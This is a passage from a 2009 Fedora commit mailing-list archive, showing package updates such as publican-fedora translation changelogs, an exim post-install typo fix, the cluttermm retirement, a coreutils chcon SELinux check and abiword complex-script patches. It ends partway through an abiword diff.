- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
- Translate Fedora Feedback into Croatian
- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
- Translate Fedora Feedback into Catalan
- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
- Translate Fedora Feedback into Norwegian (Bokm?l)
- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
- Translate Fedora Feedback into Hebrew
- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
- Translate Fedora Feedback into Latvian
- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
- Translate Fedora Feedback into Czech
- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
- Translate Fedora Feedback into Slovak 
- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
- Translate Fedora Feedback into Bosnian
- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
- Translate Fedora Feedback into Thai
- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
- Translate Fedora Feedback into Icelandic
- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
- Translate Fedora Feedback into Hungarian
- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
- Translate Fedora Feedback into Swedish
- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
- Update Fedora Feedback in Japanese
- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
- Translate Fedora Feedback into Danish
- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
- Fix right to left fo ar-AR. BZ #486162
- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
- Translate Fedora Feedback into Russian




--- NEW FILE import.log ---
publican-fedora-0_19-1_fc11:HEAD:publican-fedora-0.19-1.fc11.src.rpm:1254724218


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	12 Mar 2009 06:44:53 -0000	1.10
+++ .cvsignore	5 Oct 2009 06:34:58 -0000	1.11
@@ -1 +1 @@
-publican-fedora-0.18.tgz
+publican-fedora-0.19.tgz


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/publican-fedora.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- publican-fedora.spec	26 Jul 2009 19:38:30 -0000	1.11
+++ publican-fedora.spec	5 Oct 2009 06:34:59 -0000	1.12
@@ -2,7 +2,7 @@
 
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
-Version:	0.18
+Version:	0.19
 Release:	1%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
@@ -49,6 +49,47 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
+- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
+- Add Fedora logos with correct trademarks. BZ #492041
+- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Translate Fedora Feedback into Ukrainian
+- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
+- Translate Fedora Feedback into Finnish
+- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
+- Translate Fedora Feedback into Croatian
+- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
+- Translate Fedora Feedback into Catalan
+- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
+- Translate Fedora Feedback into Norwegian (Bokm?l)
+- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
+- Translate Fedora Feedback into Hebrew
+- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
+- Translate Fedora Feedback into Latvian
+- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
+- Translate Fedora Feedback into Czech
+- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
+- Translate Fedora Feedback into Slovak 
+- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
+- Translate Fedora Feedback into Bosnian
+- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
+- Translate Fedora Feedback into Thai
+- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
+- Translate Fedora Feedback into Icelandic
+- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
+- Translate Fedora Feedback into Hungarian
+- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
+- Translate Fedora Feedback into Swedish
+- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
+- Update Fedora Feedback in Japanese
+- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
+- Translate Fedora Feedback into Danish
+- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
+- Fix right to left fo ar-AR. BZ #486162
+- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
+- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
+- Translate Fedora Feedback into Russian
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.18-1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	12 Mar 2009 06:44:53 -0000	1.10
+++ sources	5 Oct 2009 06:34:59 -0000	1.11
@@ -1 +1 @@
-ff5bba9d023dae42497c5fd5f2d1be25  publican-fedora-0.18.tgz
+e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:08 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested watchcommits
Message-ID: <20091005063508.D276410F895@bastion2.fedora.phx.redhat.com>

itamarjp has requested the watchcommits acl on dnsmasq (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:09 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested commit
Message-ID: <20091005063509.CB16A10F8A2@bastion2.fedora.phx.redhat.com>

itamarjp has requested the commit acl on dnsmasq (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:13 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested approveacls
Message-ID: <20091005063513.1F1DD10F8A9@bastion2.fedora.phx.redhat.com>

itamarjp has requested the approveacls acl on dnsmasq (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:18 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested watchbugzilla
Message-ID: <20091005063518.37B8110F892@bastion2.fedora.phx.redhat.com>

itamarjp has requested the watchbugzilla acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:19 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested watchbugzilla
Message-ID: <20091005063519.8D2C810F89C@bastion2.fedora.phx.redhat.com>

itamarjp has requested the watchbugzilla acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:21 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested watchcommits
Message-ID: <20091005063520.F2B6F10F8A3@bastion2.fedora.phx.redhat.com>

itamarjp has requested the watchcommits acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:23 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested watchcommits
Message-ID: <20091005063523.9DA0510F8A8@bastion2.fedora.phx.redhat.com>

itamarjp has requested the watchcommits acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:24 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested commit
Message-ID: <20091005063525.1191010F8AB@bastion2.fedora.phx.redhat.com>

itamarjp has requested the commit acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:26 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested commit
Message-ID: <20091005063526.ADF0A10F892@bastion2.fedora.phx.redhat.com>

itamarjp has requested the commit acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:28 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested approveacls
Message-ID: <20091005063528.4B78110F894@bastion2.fedora.phx.redhat.com>

itamarjp has requested the approveacls acl on dnsmasq (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:29 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested approveacls
Message-ID: <20091005063529.A23BD10F8B8@bastion2.fedora.phx.redhat.com>

itamarjp has requested the approveacls acl on dnsmasq (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From dwmw2 at fedoraproject.org  Mon Oct  5 06:43:53 2009
From: dwmw2 at fedoraproject.org (David Woodhouse)
Date: Mon,  5 Oct 2009 06:43:53 +0000 (UTC)
Subject: rpms/exim/devel exim.spec,1.68,1.69
Message-ID: <20091005064353.9D87F11C00DB@cvs1.fedora.phx.redhat.com>

Author: dwmw2

Update of /cvs/pkgs/rpms/exim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22854

Modified Files:
	exim.spec 
Log Message:
fix %post typo


Index: exim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exim/devel/exim.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- exim.spec	16 Sep 2009 12:09:02 -0000	1.68
+++ exim.spec	5 Oct 2009 06:43:53 -0000	1.69
@@ -12,7 +12,7 @@
 Summary: The exim mail transfer agent
 Name: exim
 Version: 4.69
-Release: 17%{?dist}
+Release: 18%{?dist}
 License: GPLv2+
 Url: http://www.exim.org/
 Group: System Environment/Daemons
@@ -458,7 +458,7 @@ fi
 %if 0%{?buildclam}
 %post clamav
 /bin/touch %{_var}/log/clamd.exim
-/bin/chown exim.exim %{_var}log/clamd.exim
+/bin/chown exim.exim %{_var}/log/clamd.exim
 /sbin/chkconfig --add clamd.exim
 
 %preun clamav
@@ -487,6 +487,9 @@ test "$1"  = 0 || %{_initrddir}/clamd.ex
 %{_sysconfdir}/cron.daily/greylist-tidy.sh
 
 %changelog
+* Mon Oct 05 2009 David Woodhouse <David.Woodhouse at intel.com> - 4.69-18
+- Fix typo in clamd %%post (#527085)
+
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> - 4.69-17
 - Use password-auth common PAM configuration instead of system-auth
 



From rlandmann at fedoraproject.org  Mon Oct  5 06:54:48 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Mon,  5 Oct 2009 06:54:48 +0000 (UTC)
Subject: rpms/publican-fedora/F-11 import.log, NONE, 1.1 .cvsignore, 1.10,
	1.11 publican-fedora.spec, 1.10, 1.11 sources, 1.10, 1.11
Message-ID: <20091005065448.78A4111C00DB@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26180/F-11

Modified Files:
	.cvsignore publican-fedora.spec sources 
Added Files:
	import.log 
Log Message:
* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
- Add Fedora logos with correct trademarks. BZ #492041
- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Translate Fedora Feedback into Ukrainian
- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
- Translate Fedora Feedback into Finnish
- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
- Translate Fedora Feedback into Croatian
- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
- Translate Fedora Feedback into Catalan
- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
- Translate Fedora Feedback into Norwegian (Bokm?l)
- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
- Translate Fedora Feedback into Hebrew
- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
- Translate Fedora Feedback into Latvian
- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
- Translate Fedora Feedback into Czech
- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
- Translate Fedora Feedback into Slovak 
- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
- Translate Fedora Feedback into Bosnian
- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
- Translate Fedora Feedback into Thai
- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
- Translate Fedora Feedback into Icelandic
- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
- Translate Fedora Feedback into Hungarian
- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
- Translate Fedora Feedback into Swedish
- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
- Update Fedora Feedback in Japanese
- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
- Translate Fedora Feedback into Danish
- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
- Fix right to left fo ar-AR. BZ #486162
- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
- Translate Fedora Feedback into Russian




--- NEW FILE import.log ---
publican-fedora-0_19-1_fc11:F-11:publican-fedora-0.19-1.fc11.src.rpm:1254725592


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	12 Mar 2009 06:44:53 -0000	1.10
+++ .cvsignore	5 Oct 2009 06:54:47 -0000	1.11
@@ -1 +1 @@
-publican-fedora-0.18.tgz
+publican-fedora-0.19.tgz


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-11/publican-fedora.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- publican-fedora.spec	12 Mar 2009 06:44:53 -0000	1.10
+++ publican-fedora.spec	5 Oct 2009 06:54:47 -0000	1.11
@@ -2,8 +2,8 @@
 
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
-Version:	0.18
-Release:	0%{?dist}
+Version:	0.19
+Release:	1%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,6 +49,50 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
+- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
+- Add Fedora logos with correct trademarks. BZ #492041
+- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Translate Fedora Feedback into Ukrainian
+- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
+- Translate Fedora Feedback into Finnish
+- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
+- Translate Fedora Feedback into Croatian
+- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
+- Translate Fedora Feedback into Catalan
+- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
+- Translate Fedora Feedback into Norwegian (Bokm?l)
+- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
+- Translate Fedora Feedback into Hebrew
+- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
+- Translate Fedora Feedback into Latvian
+- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
+- Translate Fedora Feedback into Czech
+- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
+- Translate Fedora Feedback into Slovak 
+- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
+- Translate Fedora Feedback into Bosnian
+- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
+- Translate Fedora Feedback into Thai
+- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
+- Translate Fedora Feedback into Icelandic
+- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
+- Translate Fedora Feedback into Hungarian
+- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
+- Translate Fedora Feedback into Swedish
+- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
+- Update Fedora Feedback in Japanese
+- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
+- Translate Fedora Feedback into Danish
+- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
+- Fix right to left fo ar-AR. BZ #486162
+- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
+- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
+- Translate Fedora Feedback into Russian
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.18-1
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Mar 9 2009  Jeff Fearn <jfearn at redhat.com> 0.18
 - Add symlinks for langauges without country codes. BZ #487256
 - Fri Mar 6 2009 Piotr Dr?g <piotrdrag at gmail.com>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	12 Mar 2009 06:44:53 -0000	1.10
+++ sources	5 Oct 2009 06:54:47 -0000	1.11
@@ -1 +1 @@
-ff5bba9d023dae42497c5fd5f2d1be25  publican-fedora-0.18.tgz
+e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz



From denis at fedoraproject.org  Mon Oct  5 07:00:57 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Mon,  5 Oct 2009 07:00:57 +0000 (UTC)
Subject: rpms/cluttermm/devel dead.package, NONE, 1.1 .cvsignore, 1.7,
	NONE Makefile, 1.1, NONE cluttermm-0.9.4-wrapinit.patch, 1.1,
	NONE cluttermm.spec, 1.9, NONE import.log, 1.1, NONE sources,
	1.7, NONE
Message-ID: <20091005070057.133D111C00DB@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/cluttermm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27996

Added Files:
	dead.package 
Removed Files:
	.cvsignore Makefile cluttermm-0.9.4-wrapinit.patch 
	cluttermm.spec import.log sources 
Log Message:
Package obsoleted


--- NEW FILE dead.package ---
The clutter-cairo library has been deprecated by the Cairo API inside
Clutter 0.9, and so has its C++ binding equivalent clutter-cairomm.


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- cluttermm-0.9.4-wrapinit.patch DELETED ---


--- cluttermm.spec DELETED ---


--- import.log DELETED ---


--- sources DELETED ---



From ovasik at fedoraproject.org  Mon Oct  5 07:06:39 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Mon,  5 Oct 2009 07:06:39 +0000 (UTC)
Subject: rpms/coreutils/devel coreutils-selinux.patch, 1.59,
	1.60 coreutils.spec, 1.281, 1.282
Message-ID: <20091005070639.4B04611C00DB@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/coreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29497

Modified Files:
	coreutils-selinux.patch coreutils.spec 
Log Message:
chcon no longer aborts on a selinux disabled system(#527142)

coreutils-selinux.patch:
 configure.ac       |    7 ++
 man/chcon.x        |    2 
 man/runcon.x       |    2 
 src/chcon.c        |    6 +
 src/copy.c         |    2 
 src/copy.h         |    3 
 src/cp.c           |   39 ++++++++++++
 src/id.c           |    2 
 src/install.c      |   13 +++-
 src/ls.c           |  161 +++++++++++++++++++++++++++++++++++++++++++----------
 src/mkdir.c        |    1 
 src/mknod.c        |    2 
 src/mv.c           |    1 
 src/runcon.c       |    2 
 src/stat.c         |   85 +++++++++++++++++++--------
 tests/misc/selinux |    2 
 16 files changed, 263 insertions(+), 67 deletions(-)

Index: coreutils-selinux.patch
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-selinux.patch,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- coreutils-selinux.patch	12 Sep 2009 09:28:49 -0000	1.59
+++ coreutils-selinux.patch	5 Oct 2009 07:06:38 -0000	1.60
@@ -162,6 +162,17 @@ diff -urNp coreutils-7.1-orig/src/chcon.
  With --reference, change the security context of each FILE to that of RFILE.\n\
  \n\
    -h, --no-dereference   affect symbolic links instead of any referenced file\n\
+@@ -519,6 +519,10 @@ main (int argc, char **argv)
+       usage (EXIT_FAILURE);
+     }
+ 
++  if (is_selinux_enabled () != 1)
++    error (EXIT_FAILURE, 0,
++           _("%s may be used only on a SELinux kernel"), program_name);
++
+   if (reference_file)
+     {
+       if (getfilecon (reference_file, &ref_context) < 0)
 diff -urNp coreutils-7.1-orig/src/id.c coreutils-7.1/src/id.c
 --- coreutils-7.1-orig/src/id.c	2009-02-16 15:57:44.000000000 +0100
 +++ coreutils-7.1/src/id.c	2009-02-24 13:47:15.000000000 +0100


Index: coreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils.spec,v
retrieving revision 1.281
retrieving revision 1.282
diff -u -p -r1.281 -r1.282
--- coreutils.spec	2 Oct 2009 15:06:06 -0000	1.281
+++ coreutils.spec	5 Oct 2009 07:06:38 -0000	1.282
@@ -1,7 +1,7 @@
 Summary: A set of basic GNU tools commonly used in shell scripts
 Name:    coreutils
 Version: 7.6
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv3+
 Group:   System Environment/Base
 Url:     http://www.gnu.org/software/coreutils/
@@ -333,6 +333,10 @@ fi
 %{_libdir}/coreutils
 
 %changelog
+* Mon Oct 05 2009 Ondrej Vasik <ovasik at redhat.com> - 7.6-7
+- chcon no longer aborts on a selinux disabled system
+  (#527142)
+
 * Fri Oct 02 2009 Ondrej Vasik <ovasik at redhat.com> - 7.6-6
 - ls -LR exits with status 2, not 0, when it encounters
   a cycle(#525402)



From dsd at fedoraproject.org  Mon Oct  5 07:19:16 2009
From: dsd at fedoraproject.org (Daniel Drake)
Date: Mon,  5 Oct 2009 07:19:16 +0000 (UTC)
Subject: rpms/abiword/OLPC-3 r27631-bug-12283.patch, NONE,
	1.1 r27632-mix-roman-and-complex.patch, NONE,
	1.1 r27655-fix-script-mixing.patch, NONE,
	1.1 r27656-debug-cleanup.patch, NONE,
	1.1 r27660-complex-selections.patch, NONE, 1.1 abiword.spec,
	1.71, 1.72
Message-ID: <20091005071916.B131411C00DB@cvs1.fedora.phx.redhat.com>

Author: dsd

Update of /cvs/pkgs/rpms/abiword/OLPC-3
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32753

Modified Files:
	abiword.spec 
Added Files:
	r27631-bug-12283.patch r27632-mix-roman-and-complex.patch 
	r27655-fix-script-mixing.patch r27656-debug-cleanup.patch 
	r27660-complex-selections.patch 
Log Message:
add complex language fixes

r27631-bug-12283.patch:
 fl_BlockLayout.cpp |   15 +++-
 fl_BlockLayout.h   |    2 
 fp_Line.cpp        |    4 +
 fp_TextRun.cpp     |  177 +++++++++++------------------------------------------
 fp_TextRun.h       |    3 
 5 files changed, 57 insertions(+), 144 deletions(-)

--- NEW FILE r27631-bug-12283.patch ---
Index: src/text/fmt/xp/fl_BlockLayout.cpp
===================================================================
--- src/text/fmt/xp/fl_BlockLayout.cpp.orig
+++ src/text/fmt/xp/fl_BlockLayout.cpp
@@ -1665,7 +1665,7 @@ void fl_BlockLayout::coalesceRuns(void)
 	_assertRunListIntegrity();
 
 #if 1
-	xxx_UT_DEBUGMSG(("fl_BlockLayout::coalesceRuns\n"));
+	UT_DEBUGMSG(("fl_BlockLayout::coalesceRuns\n"));
 	fp_Line* pLine = static_cast<fp_Line *>(getFirstContainer());
 	while (pLine)
 	{
@@ -4894,14 +4894,12 @@ bool fl_BlockLayout::doclistener_populat
 	return true;
 }
 
-bool	fl_BlockLayout::_doInsertTextSpan(PT_BlockOffset blockOffset, UT_uint32 len)
+bool   fl_BlockLayout::itemizeSpan(PT_BlockOffset blockOffset, UT_uint32 len,GR_Itemization & I)
 {
-	xxx_UT_DEBUGMSG(("_doInsertTextSpan: Initial offset %d, len %d bl_Length %d \n", blockOffset, len,getLength()));
 	UT_return_val_if_fail( m_pLayout, false );
 	PD_StruxIterator text(getStruxDocHandle(),
 						  blockOffset + fl_BLOCK_STRUX_OFFSET,
 						  blockOffset + fl_BLOCK_STRUX_OFFSET + len - 1);
-	GR_Itemization I;
 	I.setDirOverride(m_iDirOverride);
 	I.setEmbedingLevel(m_iDomDirection);
 
@@ -4933,6 +4931,15 @@ bool	fl_BlockLayout::_doInsertTextSpan(P
 	I.setFont(pFont);
 	
 	m_pLayout->getGraphics()->itemize(text, I);
+	return true;
+}
+
+bool   fl_BlockLayout::_doInsertTextSpan(PT_BlockOffset blockOffset, UT_uint32 len)
+{
+	xxx_UT_DEBUGMSG(("_doInsertTextSpan: Initial offset %d, len %d bl_Length %d \n", blockOffset, len,getLength()));
+	GR_Itemization I;
+	bool b= itemizeSpan(blockOffset, len,I);
+	UT_return_val_if_fail( b, false );
 
 	for(UT_sint32 i = 0; i < static_cast<UT_sint32>(I.getItemCount()) - 1; ++i)
 	{
Index: src/text/fmt/xp/fp_TextRun.cpp
===================================================================
--- src/text/fmt/xp/fp_TextRun.cpp.orig
+++ src/text/fmt/xp/fp_TextRun.cpp
@@ -1108,61 +1108,10 @@ void fp_TextRun::mergeWithNext(void)
 
 	// can only adjust width after the justification has been handled
  	_setWidth(getWidth() + pNext->getWidth());
-
-
-	// the shaping requirenments of the combined run
-	UT_ASSERT( m_pRenderInfo );
-	if(m_pRenderInfo && pNext && pNext->m_pRenderInfo)
-	{
-		m_pRenderInfo->m_eShapingResult =
-			(GRShapingResult)((UT_uint32)m_pRenderInfo->m_eShapingResult
-							  | (UT_uint32)(pNext->	m_pRenderInfo->m_eShapingResult));
-
-		// because there might be a ligature across the run boundary, we
-		// have to refresh
-		// get the current refresh state
-		GRShapingResult eR = _getRefreshDrawBuffer();
-		eR = (GRShapingResult)((UT_uint32)eR | (UT_uint32)pNext->_getRefreshDrawBuffer());
-
-		if(((UT_uint32)	m_pRenderInfo->m_eShapingResult & (UT_uint32)GRSR_Ligatures) != 0)
-		{
-			// our run contains ligating characters, see if one is at the end
-			eR = (GRShapingResult)((UT_uint32)eR | (UT_uint32) GRSR_Ligatures);		
-		}
-
-		_setRefreshDrawBuffer(eR);
-	}
-	
-
-
-	// we need to take into consideration whether this run has been reversed
-	// in which case the order of the concating needs to be reversed too
-	UT_BidiCharType iVisDirection = getVisDirection();
-
-	bool bReverse = (!s_bBidiOS && iVisDirection == UT_BIDI_RTL)
-		  || (s_bBidiOS && m_iDirOverride == UT_BIDI_RTL && _getDirection() == UT_BIDI_LTR)
-		  || (s_bBidiOS && m_iDirOverride == UT_BIDI_LTR && _getDirection() == UT_BIDI_RTL);
-
-	UT_uint32 iNextLen = pNext->getLength();
-	UT_uint32 iMyLen   = getLength();
-
-	UT_ASSERT( m_pRenderInfo &&  pNext->m_pRenderInfo);
-	if(m_pRenderInfo &&  pNext->m_pRenderInfo)
